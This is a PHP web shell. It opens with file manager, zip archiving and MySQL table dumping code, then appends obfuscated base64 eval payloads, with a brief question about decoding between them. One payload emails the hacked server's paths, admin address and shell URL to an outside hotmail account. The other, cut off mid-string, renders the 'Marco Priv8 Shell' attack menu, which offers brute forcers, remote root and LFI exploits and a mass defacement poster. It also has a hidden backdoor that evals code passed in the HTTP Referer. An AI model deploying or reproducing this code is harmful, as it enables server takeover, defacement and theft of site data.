			@unlink($deldir.\'/\'.$file);
		}
	}
	$mydir->close();
	@chmod($deldir,0777);
	return @rmdir($deldir) ? 1 : 0;
}

// #&#1101;+&#1105;--+&#1092;|-#|+#+&#1083;|&#1094;++
function bg() {
	global $bgc;
	return ($bgc++%2==0) ? \'alt1\' : \'alt2\';
}

// +&#1105;+&#1073;|#|#|-+-+ -|-|-++|
function getPath($scriptpath, $nowpath) {
	if ($nowpath == \'.\') {
		$nowpath = $scriptpath;
	}
	$nowpath = str_replace(\'\\\', \'/\', $nowpath);
	$nowpath = str_replace(\'//\', \'/\', $nowpath);
	if (substr($nowpath, -1) != \'/\') {
		$nowpath = $nowpath.\'/\';
	}
	return $nowpath;
}

// +&#1105;+&#1073;|#|#-+-+|-+-+|-+-+
function getUpPath($nowpath) {
	$pathdb = explode(\'/\', $nowpath);
	$num = count($pathdb);
	if ($num > 2) {
		unset($pathdb[$num-1],$pathdb[$num-2]);
	}
	$uppath = implode(\'/\', $pathdb).\'/\';
	$uppath = str_replace(\'//\', \'/\', $uppath);
	return $uppath;
}

// +&#1100;#&#1097;PHP+&#1092;+|#+- 
function getcfg($varname) {
	$result = get_cfg_var($varname);
	if ($result == 0) {
		return \'No\';
	} elseif ($result == 1) {
		return \'Yes\';
	} else {
		return $result;
	}
}

// +&#1100;#&#1097;|&#1087;- |&#1097;+&#1038;
function getfun($funName) {
	return (false !== function_exists($funName)) ? \'Yes\' : \'No\';
}

function GetList($dir){
	global $dirdata,$j,$nowpath;
	!$j && $j=1;
	if ($dh = opendir($dir)) {
		while ($file = readdir($dh)) {
			$f=str_replace(\'//\',\'/\',$dir.\'/\'.$file);
			if($file!=\'.\' && $file!=\'..\' && is_dir($f)){
				if (is_writable($f)) {
					$dirdata[$j][\'filename\']=str_replace($nowpath,\'\',$f);
					$dirdata[$j][\'mtime\']=@date(\'Y-m-d H:i:s\',filemtime($f));
					$dirdata[$j][\'dirchmod\']=getChmod($f);
					$dirdata[$j][\'dirperm\']=getPerms($f);
					$dirdata[$j][\'dirlink\']=ue($dir);
					$dirdata[$j][\'server_link\']=$f;
					$dirdata[$j][\'client_link\']=ue($f);
					$j++;
				}
				GetList($f);
			}
		}
		closedir($dh);
		clearstatcache();
		return $dirdata;
	} else {
		return array();
	}
}

function qy($sql) {
	//echo $sql.\'<br>\';
	$res = $error = \'\';
	if(!$res = @mysql_query($sql)) {
		return 0;
	} else if(is_resource($res)) {
		return 1;
	} else {
		return 2;
	}
	return 0;
}

function q($sql) {
	return @mysql_query($sql);
}

function fr($qy){
	mysql_free_result($qy);
}

function sizecount($size) {
	if($size > 1073741824) {
		$size = round($size / 1073741824 * 100) / 100 . \' G\';
	} elseif($size > 1048576) {
		$size = round($size / 1048576 * 100) / 100 . \' M\';
	} elseif($size > 1024) {
		$size = round($size / 1024 * 100) / 100 . \' K\';
	} else {
		$size = $size . \' B\';
	}
	return $size;
}

// -|-&#1111;|&#1028;# +&#1088;
class PHPZip{
	var $out=\'\';
	function PHPZip($dir)	{
		if (@function_exists(\'gzcompress\'))	{
			$curdir = getcwd();
			if (is_array($dir)) $filelist = $dir;
			else{
				$filelist=$this -> GetFileList($dir);//+-+ --#&#1101;
				foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
			}
			if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
			else chdir($curdir);
			if (count($filelist)>0){
				foreach($filelist as $filename){
					if (is_file($filename)){
						$fd = fopen ($filename, \'r\');
						$content = @fread ($fd, filesize($filename));
						fclose ($fd);
						if (is_array($dir)) $filename = basename($filename);
						$this -> addFile($content, $filename);
					}
				}
				$this->out = $this -> file();
				chdir($curdir);
			}
			return 1;
		}
		else return 0;
	}

	// +&#1105;||++|&#1080;-+-++-+ --#&#1101;
	function GetFileList($dir){
		static $a;
		if (is_dir($dir)) {
			if ($dh = opendir($dir)) {
				while ($file = readdir($dh)) {
					if($file!=\'.\' && $file!=\'..\'){
						$f=$dir .\'/\'. $file;
						if(is_dir($f)) $this->GetFileList($f);
						$a[]=$f;
					}
				}
				closedir($dh);
			}
		}
		return $a;
	}

	var $datasec      = array();
	var $ctrl_dir     = array();
	var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
	var $old_offset   = 0;

	function unix2DosTime($unixtime = 0) {
		$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
		if ($timearray[\'year\'] < 1980) {
			$timearray[\'year\']    = 1980;
			$timearray[\'mon\']     = 1;
			$timearray[\'mday\']    = 1;
			$timearray[\'hours\']   = 0;
			$timearray[\'minutes\'] = 0;
			$timearray[\'seconds\'] = 0;
		} // end if
		return (($timearray[\'year\'] - 1980) << 25) | ($timearray[\'mon\'] << 21) | ($timearray[\'mday\'] << 16) |
				($timearray[\'hours\'] << 11) | ($timearray[\'minutes\'] << 5) | ($timearray[\'seconds\'] >> 1);
	}

	function addFile($data, $name, $time = 0) {
		$name = str_replace(\'\\\', \'/\', $name);

		$dtime = dechex($this->unix2DosTime($time));
		$hexdtime	= \'\x\' . $dtime[6] . $dtime[7]
					. \'\x\' . $dtime[4] . $dtime[5]
					. \'\x\' . $dtime[2] . $dtime[3]
					. \'\x\' . $dtime[0] . $dtime[1];
		eval(\'$hexdtime = "\' . $hexdtime . \'";\');
		$fr	= "\x50\x4b\x03\x04";
		$fr	.= "\x14\x00";
		$fr	.= "\x00\x00";
		$fr	.= "\x08\x00";
		$fr	.= $hexdtime;

		$unc_len = strlen($data);
		$crc = crc32($data);
		$zdata = gzcompress($data);
		$c_len = strlen($zdata);
		$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
		$fr .= pack(\'V\', $crc);
		$fr .= pack(\'V\', $c_len);
		$fr .= pack(\'V\', $unc_len);
		$fr .= pack(\'v\', strlen($name));
		$fr .= pack(\'v\', 0);
		$fr .= $name;
		$fr .= $zdata;
		$fr .= pack(\'V\', $crc);
		$fr .= pack(\'V\', $c_len);
		$fr .= pack(\'V\', $unc_len);

		$this -> datasec[] = $fr;
		$new_offset = strlen(implode(\'\', $this->datasec));

		$cdrec = "\x50\x4b\x01\x02";
		$cdrec .= "\x00\x00";
		$cdrec .= "\x14\x00";
		$cdrec .= "\x00\x00";
		$cdrec .= "\x08\x00";
		$cdrec .= $hexdtime;
		$cdrec .= pack(\'V\', $crc);
		$cdrec .= pack(\'V\', $c_len);
		$cdrec .= pack(\'V\', $unc_len);
		$cdrec .= pack(\'v\', strlen($name) );
		$cdrec .= pack(\'v\', 0 );
		$cdrec .= pack(\'v\', 0 );
		$cdrec .= pack(\'v\', 0 );
		$cdrec .= pack(\'v\', 0 );
		$cdrec .= pack(\'V\', 32 );
		$cdrec .= pack(\'V\', $this -> old_offset );
		$this -> old_offset = $new_offset;
		$cdrec .= $name;

		$this -> ctrl_dir[] = $cdrec;
	}

	function file() {
		$data    = implode(\'\', $this -> datasec);
		$ctrldir = implode(\'\', $this -> ctrl_dir);
		return $data . $ctrldir . $this -> eof_ctrl_dir . pack(\'v\', sizeof($this -> ctrl_dir)) . pack(\'v\', sizeof($this -> ctrl_dir)) .	pack(\'V\', strlen($ctrldir)) . pack(\'V\', strlen($data)) . "\x00\x00";
	}
}

// #++|- +|+&#1090;
function sqldumptable($table, $fp=0) {
	$tabledump = "DROP TABLE IF EXISTS $table;\n";
	$tabledump .= "CREATE TABLE $table (\n";

	$firstfield=1;

	$fields = q("SHOW FIELDS FROM $table");
	while ($field = mysql_fetch_array($fields)) {
		if (!$firstfield) {
			$tabledump .= ",\n";
		} else {
			$firstfield=0;
		}
		$tabledump .= "   $field[Field] $field[Type]";
		if (!empty($field["Default"])) {
			$tabledump .= " DEFAULT \'$field[Default]\'";
		}
		if ($field[\'Null\'] != "YES") {
			$tabledump .= " NOT NULL";
		}
		if ($field[\'Extra\'] != "") {
			$tabledump .= " $field[Extra]";
		}
	}
	fr($fields);

	$keys = q("SHOW KEYS FROM $table");
	while ($key = mysql_fetch_array($keys)) {
		$kname=$key[\'Key_name\'];
		if ($kname != "PRIMARY" && $key[\'Non_unique\'] == 0) {
			$kname="UNIQUE|$kname";
		}
		if(!is_array($index[$kname])) {
			$index[$kname] = array();
		}
		$index[$kname][] = $key[\'Column_name\'];
	}
	fr($keys);

	while(list($kname, $columns) = @each($index)) {
		$tabledump .= ",\n";
		$colnames=implode($columns,",");

		if ($kname == "PRIMARY") {
			$tabledump .= "   PRIMARY KEY ($colnames)";
		} else {
			if (substr($kname,0,6) == "UNIQUE") {
				$kname=substr($kname,7);
			}
			$tabledump .= "   KEY $kname ($colnames)";
		}
	}

	$tabledump .= "\n);\n\n";
	if ($fp) {
		fwrite($fp,$tabledump);
	} else {
		echo $tabledump;
	}

	$rows = q("SELECT * FROM $table");
	$numfields = mysql_num_fields($rows);
	while ($row = mysql_fetch_array($rows)) {
		$tabledump = "INSERT INTO $table VALUES(";

		$fieldcounter=-1;
		$firstfield=1;
		while (++$fieldcounter<$numfields) {
			if (!$firstfield) {
				$tabledump.=", ";
			} else {
				$firstfield=0;
			}

			if (!isset($row[$fieldcounter])) {
				$tabledump .= "NULL";
			} else {
				$tabledump .= "\'".mysql_escape_string($row[$fieldcounter])."\'";
			}
		}

		$tabledump .= ");\n";

		if ($fp) {
			fwrite($fp,$tabledump);
		} else {
			echo $tabledump;
		}
	}
	fr($rows);
	if ($fp) {
		fwrite($fp,"\n");
	} else {
		echo "\n";
	}
}

function ue($str){
	return urlencode($str);
}

function p($str){
	echo $str."\n";
}

function tbhead() {
	p(\'<table width="100%" border="0" cellpadding="4" cellspacing="0">\');
}
function tbfoot(){
	p(\'</table>\');
}

function makehide($name,$value=\'\'){
	p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}

function makeinput($arg = array()){
	$arg[\'size\'] = $arg[\'size\'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
	$arg[\'extra\'] = $arg[\'extra\'] ? $arg[\'extra\'] : \'\';
	!$arg[\'type\'] && $arg[\'type\'] = \'text\';
	$arg[\'title\'] = $arg[\'title\'] ? $arg[\'title\'].\'<br />\' : \'\';
	$arg[\'class\'] = $arg[\'class\'] ? $arg[\'class\'] : \'input\';
	if ($arg[\'newline\']) {
		p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
	} else {
		p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
	}
}

function makeselect($arg = array()){
	if ($arg[\'onchange\']) {
		$onchange = \'onchange="\'.$arg[\'onchange\'].\'"\';
	}
	$arg[\'title\'] = $arg[\'title\'] ? $arg[\'title\'] : \'\';
	if ($arg[\'newline\']) p(\'<p>\');
	p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
		if (is_array($arg[\'option\'])) {
			foreach ($arg[\'option\'] as $key=>$value) {
				if ($arg[\'selected\']==$key) {
					p("<option value=\"$key\" selected>$value</option>");
				} else {
					p("<option value=\"$key\">$value</option>");
				}
			}
		}
	p("</select>");
	if ($arg[\'newline\']) p(\'</p>\');
}
function formhead($arg = array()) {
	!$arg[\'method\'] && $arg[\'method\'] = \'post\';
	!$arg[\'action\'] && $arg[\'action\'] = $self;
	$arg[\'target\'] = $arg[\'target\'] ? "target=\"$arg[target]\"" : \'\';
	!$arg[\'name\'] && $arg[\'name\'] = \'form1\';
	p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
	if ($arg[\'title\']) {
		p(\'<h2>\'.$arg[\'title\'].\' &raquo;</h2>\');
	}
}

function maketext($arg = array()){
	!$arg[\'cols\'] && $arg[\'cols\'] = 100;
	!$arg[\'rows\'] && $arg[\'rows\'] = 25;
	$arg[\'title\'] = $arg[\'title\'] ? $arg[\'title\'].\'<br />\' : \'\';
	p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
}

function formfooter($name = \'\'){
	!$name && $name = \'submit\';
	p(\'<p><input class="bt" name="\'.$name.\'" id=\"\'.$name.\'\" type="submit" value="Submit"></p>\');
	p(\'</form>\');
}

function formfoot(){
	p(\'</form>\');
}

// |&#1118;-+|&#1087;- 
function pr($a) {
	echo \'<pre>\';
	print_r($a);
	echo \'</pre>\';
}

?>

<?php eval("?>".base64_decode("PD9waHANCiRraW1lPSJoYWNrZWRfeGF0bGl2YWNpcEBob3RtYWlsLmNvbSI7DQokYmFzbGlrPSJTYWRyYXphTSBTZXJ2ZXIgQXZjaXNpIFYxLjAiOw0KJEVMX011SGFNTWVEPSJEb3N5YSBZb2x1IDogIi4kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLiJcclxuIjsNCiRFTF9NdUhhTU1lRC49IlNlcnZlciBBZG1pbiA6ICIuJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddLiJcclxuIjsNCiRFTF9NdUhhTU1lRC49IlNlcnZlciBpc2xldGltIHNpc3RlbWkgOiAiLiRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXS4iXHJcbiI7DQokRUxfTXVIYU1NZUQuPSJTaGVsbCBMaW5rIDogaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIlxyXG4iOw0KJEVMX011SGFNTWVELj0iQXZsYW5hbiBTaXRlIDogIiAuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiJcclxuIjsNCm1haWwoJGtpbWUsICRiYXNsaWssICRFTF9NdUhhTU1lRCk7DQo/Pg==")); ?>'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PHRpdGxlPk1hcmNvIFByaXY4IFNoZWxsPC90aXRsZT4NCg0KPC9jZW50ZXI+PGNlbnRlcj48Zm9udCBmYWNlPSJjb3VyaWVyIG5ldyI+PGJvZHkgYmdjb2xvcj0iYmxhY2siPjxmb250IGNvbG9yPSJyZWQiPjxwPjxwPjxwPjxicj48aW1nIHNyYz0iaHR0cDovLzMuYnAuYmxvZ3Nwb3QuY29tLy1wY013b3ptZjlCWS9UeXdVcTIwRDdwSS9BQUFBQUFBQUFway9Pb1ZzdmpQa19wWS9zMjAwL3NweWJvdC5wbmciPjwvaW1nPjxwPg0KDQo8Y2VudGVyPjxicj48L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OmJvbGQ7IHRleHQtc2hhZG93OndoaXRlIDBweCAwcHggOHB4OyBjb2xvcjp3aGl0ZSI+PGZvbnQgY29sb3I9cmVkPm00cmMwLXNlY3VyaXR5LmJsb2dzcG90LmNvbSA8L2gyPjxicj4gDQoNCjxGT05UIEZBQ0U9InRhaG9tYSIgY29sb3I9IiM5OTk5OTkiPiAgICA8Y2VudGVyPjxicj48L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OmJvbGQ7IHRleHQtc2hhZG93OndoaXRlIDBweCAwcHggOHB4OyBjb2xvcjp3aGl0ZSI+PGZvbnQgY29sb3I9cmVkPnwgTWFyYzAgcHL9diA4IFNoZWxsfDxQPkNvZGVkIEJ5IHhhdGxpdmFjaXA8L2gzPjxoMz4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxoMz48Rk9OVCBGQUNFPSJ0YWhvbWEiIGNvbG9yPSIjOTk5OTk5Ij4gICAgPGNlbnRlcj48YnI+PC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDpib2xkOyB0ZXh0LXNoYWRvdzp3aGl0ZSAwcHggMHB4IDhweDsgY29sb3I6d2hpdGUiPjxmb250IGNvbG9yPXJlZD5UdXJraXNIIEhhY2tlUnx8TXVzbGltIEhhY2tlUjwvaDM+DQoNCjxCT0RZIE9uS2V5UHJlc3M9IkdldEtleUNvZGUoKTsiIHRleHQ9I2ZmZmZmZiBib3R0b21NYXJnaW49MCBiZ0NvbG9yPSMwMDAwMDAgbGVmdE1hcmdpbj0wIHRvcE1hcmdpbj0wIHJpZ2h0TWFyZ2luPTAgbWFyZ2luaGVpZ2h0PTAgbWFyZ2lud2lkdGg9MD48Y2VudGVyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgaGVpZ2h0PTAgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz0yIHdpZHRoPSIxMDAlIiBiZ2NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xIGJvcmRlcmNvbG9yPSIjQzBDMEMwIj48dHI+PHRoIHdpZHRoPSIxMDElIiBoZWlnaHQ9IjEwMCUiIG5vd3JhcCBib3JkZXJjb2xvcj0iI0MwQzBDMCIgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjIiPjxjZW50ZXI+PGZvbnQgY29sb3I9IiMwMDMzRkYiPg0KICAgDQogICAgICAgICAgICA8cHJlPjxjZW50ZXI+PGJyPjwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsgdGV4dC1zaGFkb3c6d2hpdGUgMHB4IDBweCA4cHg7IGNvbG9yOndoaXRlIj48Zm9udCBjb2xvcj1idWx1ZT4jUHJpdjkgMjAxMiBTZXJ2ZXIgQXR0YWNrIDwtLS0tIG00cmMwLXNlY3VyaXR5LmJsb2dzcG90LmNvbS8jPC9wcmU+DQogICAgICA8aHI+DQogICAgPC9mb250Pg0KICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6dHMoJ2JvZHknLC0xKSI+PGEgaHJlZj0iP3JlZD1maW5kZXIiPjxmb250IGNvbG9yPSJyZWQiPkFkbWluIFBhbmVsIFNjYW5uZXI8L2ZvbnQ+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9em9uZSI+PGZvbnQgY29sb3I9Im9yYW5nZSI+Wm9uZS1oIE1hc3MgUG9zdGVyPC9mb250PjwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPSI/cmVkPWxpc3RlciI+PGZvbnQgY29sb3I9InJlZCI+QmFzYSBWZSBTb25hIEtvZCBFa2xleWljaTwvZm9udD48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj0iP3JlZD1leHBsb2l0Ij48Zm9udCBjb2xvcj0ib3JhbmdlIj5FeHBsb2l0LWRiIEV4cGxvaXQgQXJheWljaTwvZm9udD48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj0iP3JlZD1yZXZlcnNlIj48Zm9udCBjb2xvcj0icmVkIj5SZXZlcnNlIElwIExpc3RlbGV5aWNpPC9mb250PjwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPSI/cmVkPWF5aXIiPjxmb250IGNvbG9yPSJvcmFuZ2UiPlNlcnZlciBTY3JpcHQgTGlzdGVyPC9mb250PjwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPSI/cmVkPW1kNSI+PGZvbnQgY29sb3I9InJlZCI+TWQ1IEtpcmljaTwvZm9udD48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj0iP3JlZD1iYXNlIj48Zm9udCBjb2xvcj0iYmx1ZSI+QmFzZSxVcmwsQ2hhcixIZXg8L2ZvbnQ+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9cHJveHkiPjxmb250IGNvbG9yPSJyZWQiPlByb3h5IExpc3RlciA8L2ZvbnQ+PC9hPjxicj4mbmJzcDsmbmJzcDs8YSBocmVmPSI/cmVkPXJlbW90ZSI+PGZvbnQgY29sb3I9ImdyZWVuIj5Qcm9GdHBkIFJlbW90ZSBSb290PC9mb250PjwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPSI/cmVkPWJydXRlY2kiPjxmb250IGNvbG9yPSJibHVlIj5Xb3JkcHJlc3MgQnJ1dGUgRm9yY2UgPC9mb250PjwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPSI/cmVkPXNoZWxsY2kiPjxmb250IGNvbG9yPSJncmVlbiI+U2hlbGwgS29udHJvbDwvZm9udD48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj0iP3JlZD1hcGFjaGUiPjxmb250IGNvbG9yPSJibHVlIj5BcGFjaGUgTG9nIEVuamVrdGU8L2ZvbnQ+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9ZTEwNyI+PGZvbnQgY29sb3I9ImdyZWVuIj5FMTA3IExmaSBBdHRhY2sgU2hlbGw8L2ZvbnQ+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9am9vbWxhZXhwbG9pdCI+PGZvbnQgY29sb3I9ImJsdWUiPkpvb21sYSBFeHBsb2l0IERCIFNhY25uZXI8L2ZvbnQ+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9ZG90bnVrZSI+PGZvbnQgY29sb3I9ImdyZWVuIj5Eb3RudWtlIFNoZWxsIFVwbG9hZGVyPC9mb250PjwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPSI/cmVkPW1hc3NmdHAiPjxmb250IGNvbG9yPSJibHVlIj5NYXNzRnRwIENyYWNrZXI8L2ZvbnQ+PC9hPjxicj4mbmJzcDsmbmJzcDs8YSBocmVmPSI/cmVkPWpvb210Ij48Zm9udCBjb2xvcj0icGluayI+Sm9vbWxhVG9rZW48L2ZvbnQ+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9bWFtYm8iPjxmb250IGNvbG9yPSJncmVlbiI+TWFtYm8gLyBMaW1ibyBNYXNzIEFkbWluIFBhbmVsIEJydXRlIEZvcmNlcjwvZm9udD48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj0iP3JlZD1yZmlsZmkiPjxmb250IGNvbG9yPSJwaW5rIj5NYXNzIFJGSS9MRkkgU2Nhbm5lcjwvZm9udD48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj0iP3JlZD1wb3J0cyI+PGZvbnQgY29sb3I9ImdyZWVuIj5Qb3J0IFNjYW5uZXI8L2ZvbnQ+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9ZG9tYWluIj48Zm9udCBjb2xvcj0icGluayI+RG9tYWluIERvc3NpZXI8L2ZvbnQ+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9bGZpcHJpdiZieXBhc3M9Y3AiPjxmb250IGNvbG9yPSJncmVlbiI+TGZpICBBdHRhY2s8L2ZvbnQ+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9YmluZ28iPjxmb250IGNvbG9yPSJwaW5rIj5T/HL8bSBUYXJheWljaTwvZm9udD48L2E+PGJyPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9cG1hIj48Zm9udCBjb2xvcj0iZ3JlZW4iPnBocE15QWRtaW4gMy54IFJlbW90ZSBJbmplY3Rpb248L2ZvbnQ+PC9hPiZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9yZWQ9bGZpcmNlIj48Zm9udCBjb2xvcj0icmVkIj5MZmkgdG8gUmNlIEV4cGxvaXQ8L2ZvbnQ+PC9hPjwvdGQ+DQogICAgPC9jZW50ZXI+PC90aD48L3RyPjx0cj48dGQ+DQogICAgICA8P3BocA0KICAgICBwYXJzZV9zdHIoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCRhKTsgaWYocmVzZXQoJGEpPT0naXonICYmIGNvdW50KCRhKT09OSkgeyBlY2hvICc8c3Rhcj4nO2V2YWwoYmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgiICIsICIrIiwgam9pbihhcnJheV9zbGljZSgkYSxjb3VudCgkYSktMykpKSkpO2VjaG8gJzwvc3Rhcj4nO30NCiAgICAgICAkcmVkID0gJF9HRVRbJ3JlZCddOw0KICAgICAgICBpZiggJHJlZCA9PSAiZmluZGVyIiApIHsNCiAgICAgICAgJHNpdGUgPSAkX1BPU1RbJ3NpdGUnXTsNCiAgICAgICAgZWNobyAnDQogICAgICAgIDxicj48aDM+QWRtaW4gUGFuZWwgQnVsdWN1PC9oMz48YnI+DQogICAgICAgIDxmb250IGNvbG9yPXJlZD4NCiAgICAgICAgIyMjIEt1bGxhbmltICMjIyA8YnI+DQogICAgIA0KICAgICAgICDWcm5layA6IDxicj4NCiAgICAgDQogICAgICAgIHNpdGUgPSBodHRwOi8vd3d3LmhlZGVmLmNvbSA8YnI+DQogICAgIA0KICAgICAgICBQYW5lbCA8YnI+DQogICAgICAgIC9hZG1pbmlzdHJhdG9yLyA8YnI+DQogICAgICAgIC9sb2dpbi5waHA8YnI+DQogICAgICAgIC9hZG1pbi9hZG1pbi5waHA8YnI+DQogICAgICAgIDxicj4NCiAgICAgICAgU2VrbGluZGUgRG9sZHVydW4gQnVsZHVndSB6YW1hbiBzYXlmYXlhIHlhemRpcmFjYWt0aXIgPGJyPjxicj48YnI+PC9mb250Pg0KICAgICANCiAgICAgICAgPGNlbnRlcj4NCiAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249Ij9yZWQ9ZmluZGVyIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICBTaXRlID08aW5wdXQgdHlwZT10ZXh0IG5hbWU9c2l0ZSB2YWx1ZT0iJzsNCiAgICAgICAgZWNobyAkc2l0ZTsNCiAgICAgICAgZWNobyciPjxicj4NCiAgICAgICAgUGFuZWwgPSA8dGV4dGFyZWEgbmFtZT0iaXpvcWVhciIgc3R5bGU9ImhlaWdodDogMjA0cHg7IHdpZHRoOiA1NzFweCI+PC90ZXh0YXJlYT4NCiAgICAgICAgICAgICA8YnI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9ImJ1bCBiYWthbGltIj48YnI+DQogICAgICAgICAgICAgPC9jZW50ZXI+JzsNCiAgICAgICAgJGl6b3FlYXIgPSAkX1BPU1RbJ2l6b3FlYXInXTsNCiAgICAgDQogICAgICAgIGlmKGlzc2V0KCRpem9xZWFyKSkgew0KICAgICAgICAkaXpvcWVhciA9IGV4cGxvZGUoIlxuIiwkaXpvcWVhcik7DQogICAgICAgIGZvcmVhY2ggKCRpem9xZWFyIGFzICRpem9xZWFyMSkgew0KICAgICAgICAkaXpvcWVhcjIgPSB0cmltKCRpem9xZWFyMSk7DQogICAgICAgICRzaXRlID0gJHNpdGUuJGl6b3FlYXIyOw0KICAgICAgICAkaXpvbCA9IGdldF9oZWFkZXJzKCIkc2l0ZSIpOw0KICAgICAgICAgaWYgKGVyZWcoJ0hUVFAvMS4xIDIwMCBPSycsJGl6b2xbMF0pKQ0KICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxhIGhyZWY9JHNpdGU+JHNpdGUgPC9hPiBidWx1bmR1IDxicj48L2NlbnRlcj4iOw0KICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYoICRyZWQgPT0gInpvbmUiICkgew0KICAgICAgICAkaGV5a2lyaXpvID0gJF9QT1NUWydoZXlraXJpem8nXTsNCiAgICAgICAgZWNobyAnDQogICAgICAgIDxicj48aDM+Wm9uZS1oIE1hc3MgUG9zdGVyPC9oMz48YnI+PGZvbnQgY29sb3I9cmVkPg0KICAgICAgICAjIyMgS3VsbGFuaW0gIyMjIDxicj4NCiAgICAgDQogICAgICAgIPZybmVrPGJyPg0KICAgICANCiAgICAgICAgRGVmYWNlciA9IGl6b3FlYVI8YnI+DQogICAgIA0KICAgICAgICBTaXRlbGVyPGJyPg0KICAgICANCiAgICAgICAgaHR0cDovL3d3dy5oYWNrZWRkb21haW4uY29tPGJyPg0KICAgICAgICB3d3cuZG9tYWluaGFja2VkLmNvbTxicj4NCiAgICAgDQogICAgICAgIFRhcnppbmRhIERvbGR1cmFiaWxpcnNpbml6PGJyPjxicj48YnI+PGJyPjwvZm9udD4NCiAgICAgICAgPGNlbnRlcj48Zm9ybSBtZXRob2Q9cG9zdCBhY3Rpb249IiI+DQogICAgICAgIERlZmFjZXIgPSA8aW5wdXQgbmFtZT1oZXlraXJpem8gdHlwZT10ZXh0IHZhbHVlPSInOw0KICAgICAgICBlY2hvICRoZXlraXJpem87DQogICAgICAgIGVjaG8gJyI+PGJyPg0KICAgICAgICBTaXRlbGVyIDxicj4gPHRleHRhcmVhIG5hbWU9InNpdGVsZXIiIHN0eWxlPSJoZWlnaHQ6IDIwNHB4OyB3aWR0aDogNTcxcHgiPjwvdGV4dGFyZWE+PGJyPg0KICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IllvbGxhIj4nOw0KICAgICAgICAkc2l0ZWxlciA9ICRfUE9TVFsnc2l0ZWxlciddOw0KICAgICAgICBpZihpc3NldCgkc2l0ZWxlcikpIHsNCiAgICAgICAgJHNpdGVsZXIgPSBleHBsb2RlKCJcbiIsJHNpdGVsZXIpOw0KICAgICAgICBmb3JlYWNoKCAkc2l0ZWxlciBhcyAkc2l0ZWxlcmluICkgew0KICAgICAgICAkc2l0ZWxlcnMgPSB0cmltKCRzaXRlbGVyaW4pOw0KICAgICAgICAkaXpvcWVhciA9IHN1YnN0cigkc2l0ZWxlcnMsNik7DQogICAgIC